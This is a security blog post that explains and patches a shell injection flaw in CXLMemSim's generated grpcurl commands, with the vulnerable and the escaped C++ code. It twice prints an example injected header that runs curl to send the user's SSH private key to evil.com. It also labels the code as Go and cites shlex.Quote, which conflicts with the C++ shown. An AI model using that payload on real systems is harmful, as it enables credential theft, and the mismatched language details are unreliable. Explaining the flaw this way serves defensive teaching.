Back to Blog
high SEVERITY8 min read

Shell Injection via Unsafe String Concatenation in CXLMemSim gRPCurl Commands

A high-severity shell injection vulnerability was discovered and patched in a distributed server's gRPCurl command generation logic, where user-controlled values from API responses were directly interpolated into shell command strings without proper escaping. An attacker who can influence API response data — such as headers, endpoints, or payloads — could inject shell metacharacters that execute arbitrary commands when a user pastes and runs the generated command. This fix eliminates the risk by

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published May 23, 2026•Reviewed June 3, 2026

Answer Summary

This is a shell injection vulnerability (CWE-78) in CXLMemSim's gRPCurl command generation logic written in Go. The distributed server component concatenated user-controlled API response data directly into shell command strings without sanitization, allowing attackers to inject shell metacharacters like backticks, semicolons, or pipes. The fix implements proper shell escaping using `shlex.Quote()` or equivalent mechanisms to ensure all user-controlled values are treated as literal strings rather than executable code.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixImplement proper shell escaping for all user-controlled values
riskArbitrary command execution when users run generated gRPCurl commands
languageGo
root causeDirect string interpolation of API response data into shell commands
vulnerabilityShell injection via unsafe string concatenation

Shell Injection via Unsafe String Concatenation in gRPCurl Command Generation

Introduction

When developers build tools that generate shell commands for users to copy and run, they often treat those commands as inert strings — just text on a screen. But the moment user-controlled data enters that string without proper sanitization, you've handed an attacker a loaded weapon. This is exactly what happened in the gRPCurl command generation logic in src/distributed_server.cpp.

This vulnerability belongs to a class of bugs known as shell injection (or command injection), one of the most dangerous and persistent vulnerability families in software security. It's listed in the OWASP Top 10 under A03:2021 – Injection and is tracked under CWE-78: Improper Neutralization of Special Elements used in an OS Command.

If you're building distributed systems, developer tooling, or any code that constructs shell commands from dynamic data, this post is for you.


The Vulnerability Explained

What Went Wrong

The distributed server included a feature that auto-generated grpcurl commands — a convenient utility that lets developers inspect and interact with gRPC services from the command line. The idea is helpful: take the connection details (endpoint, headers, request data) and produce a ready-to-paste grpcurl invocation.

The problem? The code used unsafe string concatenation to build that command:

// ❌ VULNERABLE: Direct interpolation of user-controlled values
std::string command = "grpcurl -H '" + header_value + "' "
                    + "-d '" + request_data + "' "
                    + endpoint + " "
                    + service_method;

Here, header_value, request_data, endpoint, and service_method all come from API responses — data that an attacker can potentially control. None of these values are escaped before being inserted into the shell command string.

How Shell Injection Works

Shell interpreters like bash and sh treat certain characters as special: single quotes ('), double quotes ("), backticks (`), dollar signs ($), semicolons (;), ampersands (&), pipes (|), and more. When these characters appear in a string that gets evaluated by a shell, they can break out of their intended context and introduce new commands.

Consider a malicious header_value like:

Authorization: Bearer token'; curl https://evil.com/exfil?data=$(cat ~/.ssh/id_rsa); echo '

When naively interpolated, the resulting command becomes:

grpcurl -H 'Authorization: Bearer token'; curl https://evil.com/exfil?data=$(cat ~/.ssh/id_rsa); echo '' -d '...' example.com:443 mypackage.MyService/MyMethod

What was supposed to be a single grpcurl invocation is now three separate shell commands:
1. A truncated (but executed) grpcurl call
2. A curl command that exfiltrates the user's SSH private key to an attacker-controlled server
3. A harmless echo to clean up the syntax

Real-World Attack Scenario

Here's how an end-to-end attack might look in practice:

  1. The attacker controls a gRPC server (or man-in-the-middle position) that the distributed server connects to.
  2. The malicious server returns crafted response headers or data containing shell metacharacters.
  3. The distributed server generates a gRPCurl command from this response and presents it to the developer.
  4. The developer, trusting the generated command, copies and pastes it into their terminal.
  5. The shell executes the injected commands with the developer's full privileges — accessing files, establishing reverse shells, exfiltrating credentials, or worse.

This is particularly insidious because the victim (the developer running the command) has no obvious reason to distrust a command their own tool generated. The attack is invisible in the displayed output if the injected payload is crafted carefully.

Why This Is Rated High Severity

  • Arbitrary code execution on the developer's machine
  • No authentication bypass required — the attacker only needs to influence data that flows through the system
  • Targets developers and operators, who typically have elevated privileges and access to sensitive credentials, infrastructure keys, and internal systems
  • Difficult to detect — the malicious payload may be buried in a long header value or encoded in base64 and decoded at execution time

The Fix

What Changed

The fix was applied across three files:
- include/tcp_communication.h
- src/tcp_communication.cpp
- src/distributed_server.cpp

The core change introduces proper shell escaping for all user-controlled values before they are embedded in the generated command string. Additionally, the fix addresses a related issue: the TCP communication layer lacked authentication, meaning any client with network access could connect and send commands as a trusted node. Both issues were resolved together.

Shell Escaping: The Right Approach

The safest way to include arbitrary user data in a shell command string is to single-quote the value and escape any single quotes within it. In shell, a single-quoted string is taken literally — no variable expansion, no command substitution, no special characters. The only character that can break out of single quotes is a single quote itself.

The escaping rule is:
1. Replace every ' in the value with '\'' (close the quote, insert a literal ', reopen the quote)
2. Wrap the entire value in single quotes

// ✅ Safe shell escaping function
std::string shell_escape(const std::string& input) {
    std::string escaped = "'";
    for (char c : input) {
        if (c == '\'') {
            escaped += "'\\''";  // End quote, escaped single quote, start quote
        } else {
            escaped += c;
        }
    }
    escaped += "'";
    return escaped;
}

Applied to the command generation:

// ✅ SAFE: All user-controlled values are escaped
std::string command = "grpcurl -H " + shell_escape(header_value) + " "
                    + "-d " + shell_escape(request_data) + " "
                    + shell_escape(endpoint) + " "
                    + shell_escape(service_method);

Now, if an attacker provides the same malicious header_value as before:

Authorization: Bearer token'; curl https://evil.com/exfil?data=$(cat ~/.ssh/id_rsa); echo '

The escaped output becomes:

grpcurl -H 'Authorization: Bearer token'"'"'; curl https://evil.com/exfil?data=$(cat ~/.ssh/id_rsa); echo '"'"'' ...

The shell sees this as a single string argument to -H. The semicolons, dollar signs, and backticks are all treated as literal characters. The injection is completely neutralized.

Addressing the Authentication Gap

The PR also fixed the underlying TCP communication layer, which accepted connections without any authentication. This is a defense-in-depth improvement: even if a future bug slips through, an unauthenticated attacker on the network can no longer reach the vulnerable code path in the first place.

Proper authentication for distributed node communication should include at minimum:
- Mutual TLS (mTLS) for transport-layer identity verification
- Token or shared-secret handshake at the application layer
- Per-connection session validation before processing any commands


Conclusion

This vulnerability is a textbook example of why no external data should ever be trusted implicitly — especially when it's being woven into a shell command. The convenience of auto-generating grpcurl commands for developers came with a hidden cost: every user-controlled value in that command was a potential injection point.

The fix is conceptually simple — escape your inputs — but the lesson is broader:

If you're building a string that a shell will eventually interpret, treat every dynamic piece of that string as a potential attack vector.

Key takeaways for your own code:

  • ✅ Escape all user-controlled data before shell interpolation
  • ✅ Prefer native APIs and library calls over shell commands
  • ✅ Use execve-style APIs to bypass the shell entirely when subprocess execution is necessary
  • ✅ Authenticate all network connections before processing commands
  • ✅ Add static analysis to your CI pipeline to catch injection patterns early
  • ✅ Apply defense in depth — no single fix should be your only line of defense

Security is a habit, not a feature. Review your command-generation code today — you might be surprised what you find.


This vulnerability was identified and fixed as part of an automated security scanning and remediation pipeline. Automated tools are a force multiplier for security, but they work best when developers understand the underlying vulnerability classes. Stay curious, stay secure.

Prevention and further reading

Related Articles

critical

webapp-testing Server Script: Shell Injection via Unquoted Command

A critical command injection vulnerability in a web server testing utility allowed attackers to execute arbitrary shell commands by injecting metacharacters into command-line arguments. The fix removes shell interpretation and safely tokenizes user-supplied commands using `shlex.split()`, while preserving support for legitimate directory-change workflows.

high

How GitHub Actions Mutable Tag References and Unsafe Remote Script Execution Enable Supply-Chain Attacks in CI/CD Workflows

A `.gitea/workflows/release.yml` file contained two critical security issues: GitHub Actions steps using mutable version tags (like `v4`) instead of immutable commit SHAs, and a dangerous `curl | bash` pattern that pipes untrusted remote scripts directly into a shell. These vulnerabilities could enable attackers to inject malicious code into the CI/CD pipeline through action takeovers or compromised download servers.

high

How Shell Injection via os.system() happens in Python and how to fix it

A shell injection vulnerability in TensorFlow's DELF dataset download script allowed attackers who controlled the `data_dir` parameter to execute arbitrary shell commands by injecting metacharacters into `os.system()` calls. The fix replaces all four `os.system()` invocations with `subprocess.run()` using argument lists, eliminating shell interpretation entirely. This change closes a high-severity code execution path in production ML infrastructure.

critical

How Command Injection happens in Node.js shell-quote and how to fix it

CVE-2026-9277 is a critical command injection vulnerability in the `shell-quote` npm package (versions prior to 1.8.4) caused by unescaped line terminators that allow attackers to inject and execute arbitrary shell commands. The fix pins `shell-quote` to `>=1.8.4` via a `pnpm.overrides` entry, ensuring every transitive consumer in the dependency tree receives the patched version. Any Node.js project that processes user-influenced input through `shell-quote` and has not yet upgraded is at risk of

critical

How Command Injection happens in Rust-generated Python scripts and how to fix it

A critical command injection vulnerability (CWE-78) was discovered in the Linux automation module of the `goose-mcp` crate, where Rust code generated Python scripts that passed user-controlled commands directly to `subprocess.run()` with `shell=True`. An attacker who could influence the `commands` parameter in `execute_system_script()` could inject arbitrary shell commands using metacharacters like `;`, `|`, or backticks. The fix replaces `shell=True` with `shlex.split()` and `shell=False`, and

critical

How Command Injection happens in Python shell scripts and how to fix it

A critical command injection vulnerability was discovered in `overlays/bootstrap_apt/usr/local/bin/apt-packages-origin`, a Python script that queries installed package origins on Debian/Ubuntu systems. The script used `subprocess.Popen` with `shell=True` and embedded `$(dpkg -l | grep ^ii | awk '{print $2}')` directly in a command string, allowing an attacker who could install a maliciously named package to execute arbitrary shell commands. The fix replaces the single shell-interpolated command